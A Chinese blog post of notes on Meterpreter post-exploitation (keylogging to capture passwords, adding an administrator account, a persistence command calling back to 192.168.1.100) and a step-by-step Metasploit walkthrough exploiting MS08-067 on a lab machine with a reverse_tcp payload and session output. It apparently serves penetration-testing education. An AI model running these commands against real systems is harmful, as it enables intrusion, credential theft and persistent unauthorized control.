美文网首页
Meterpreter

Meterpreter

作者: 慕止 | 来源:发表于2018-10-23 10:53 被阅读0次
image.png

screenshot //截图
sysinfo //系统信息
ps //系统进程

migrate PID //内嵌进该进程中 如explorer.exe


调用键盘记录 可以获取电脑密码 shell

使用shell进入到window cmd命令行中
使用 net user 进行增加用户

提权

net localgroup administrators xxx /add //window 提权命令

扩展脚本 使用run vnc远程操纵 迁移进程 image.png image.png 控制持久化
meterpreter > run persistence -X -i 50 -p 4445 -r 192.168.1.100
-X //开机自启动
-i 50 //每隔50请求连接
-p 4445 //通信端口
-r 192.168.1.100  //指定请求链接IP
确实是否可以控制持久化

Raingun组件(最强力的武器)
使用ruby语言写的


一个简易的弹窗

2.2 MS08-067漏洞利用演示实验

2.2.1 微软关于MS18-067漏洞的安全公告:

http://technet.microsoft.com/zh-cn/security/bulletin/ms08-067

2.2.2 实验步骤

1、进入msf终端后,使用search功能搜索ms08-067,发现有一个可用模块:

<pre class="code bash" name="code" style="margin: 0px 0px 24px; padding: 0px; font-weight: 400; box-sizing: border-box; background-color: rgb(240, 240, 240); overflow-x: auto; font-family: Consolas, Inconsolata, Courier, monospace; font-size: 14px; line-height: 22px; color: rgb(0, 0, 0);">msf > search ms08-067

Matching Modules
================

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption</pre>

2、使用use命令选定要利用的模块:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) ></pre>

3、接下来,light教授设置攻击载荷为基于Windows系统的Meterpreter reverse_tcp ,这个载荷在攻击之后,会从目标主机发起一个反弹连接,连接到LHOST中指定的IP地址(也就是我们俗称的反弹马)。这种反弹连接可以让你绕过防火墙的入站流量保护,或者穿透NAT网关。

 set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp</pre>

4、使用“show targets”命令让我们识别和匹配目标操作系统的类型。(大多数MSF渗透攻击模块会自动对目标系统类型进行识别,而不需要手工指定此参数,但是针对MS08-067漏洞的攻击中,通常无法正确的自动识别出系统类型。)

msf exploit(ms08_067_netapi) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (AlwaysOn NX)
   4   Windows XP SP2 English (NX)
   5   Windows XP SP3 English (AlwaysOn NX)
   6   Windows XP SP3 English (NX)
   7   Windows 2003 SP0 Universal
   8   Windows 2003 SP1 English (NO NX)
   9   Windows 2003 SP1 English (NX)
   10  Windows 2003 SP1 Japanese (NO NX)
   11  Windows 2003 SP2 English (NO NX)
   12  Windows 2003 SP2 English (NX)
   13  Windows 2003 SP2 German (NO NX)
   14  Windows 2003 SP2 German (NX)
   15  Windows XP SP2 Arabic (NX)
   16  Windows XP SP2 Chinese - Traditional / Taiwan (NX)
   17  Windows XP SP2 Chinese - Simplified (NX)
   ......</pre>

5、选定系统编号(TARTGET),设置靶机IP(RHOST)与本机IP(LHOST)

msf exploit(ms08_067_netapi) > set TARGET 17
TARGET => 17
msf exploit(ms08_067_netapi) > set RHOST 192.168.116.129
RHOST => 192.168.116.129
msf exploit(ms08_067_netapi) > set LHOST 192.168.116.128
LHOST => 192.168.116.128</pre>

6、使用“show options”命令查看当前参数设置情况:

 show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.116.129  yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.116.128  yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   17  Windows XP SP2 Chinese - Simplified (NX)</pre>

7、参数检查无误后,输入“exploit”对靶机进行攻击。当返回meterpreter提示符表示利用成功。

msf exploit(ms08_067_netapi) > run

[*] Started reverse handler on 192.168.116.128:4444 
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 192.168.116.129
[*] Meterpreter session 1 opened (192.168.116.128:4444 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400</pre>

8、可以利用vnc对靶机进行图形化远程控制,命令:run vnc 。Meterpreter还有很多强大的功能,我们将在后续的章节详细介绍。

相关文章

网友评论

      本文标题:Meterpreter

      本文链接:https://www.haomeiwen.com/subject/euusqftx.html